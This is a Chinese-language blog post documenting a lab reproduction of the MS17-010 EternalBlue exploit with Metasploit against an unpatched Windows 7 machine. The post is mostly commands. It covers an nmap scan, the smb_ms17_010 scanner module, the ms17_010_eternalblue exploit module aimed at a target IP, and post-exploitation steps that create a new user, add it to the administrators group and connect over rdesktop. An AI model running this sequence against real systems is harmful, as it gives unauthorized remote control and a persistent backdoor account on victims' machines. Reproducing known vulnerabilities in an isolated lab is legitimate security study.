ZZeo.
EN
← 返回文章列表
WEB 漏洞复现和分析1 分钟阅读

试试MSF的ms17-010永恒之蓝漏洞利用

试验环境 \(内网地址\) - \-win7（未打补丁开445） 10.77.0.128 - kali 10.77.0.109 首先信息收集，探测 - nmap意思一下 - nmap \-sS \-P0 \-A \-v 10.77.0.100 扫描漏洞 - msfconsole 启动 - 加载扫描e…

发布于 2019/06/06
#永恒之蓝 MSF ms17-010
Read in English→

试验环境

(内网地址)

  • -win7（未打补丁开445） 10.77.0.128
  • kali 10.77.0.109

首先信息收集，探测

  • nmap意思一下

- nmap \-sS \-P0 \-A \-v 10.77.0.100

开的445

扫描漏洞

  • msfconsole 启动
msfconsole
  • 加载扫描exp

use auxiliary/scanner/smb/smb_ms17_010

show options

在这里插入图片描述

  • 设置目标ip
set RHOST 10.77.0.128
  • 运行
run

![在这里插入图片描述](/images/20190606140644531.png用

漏洞利用

  • 加载攻击模块
use exploit/windows/smb/ms17_010_eternalblue
  • 设置参数
set RHOST 10.77.0.128
  • 运行
run

![在这里插入图片描述](/images/20190606142202832.png 运行成功 进去了

可以直接CMD命令
在这里插入图片描述

权限很高
直接net user

net user 123 1234 /add（用户名 密码）
net localgroup administrators xxxx /add （将用户设置为管理员权限）

重新打开一个终端

rdesktop+IP

在这里插入图片描述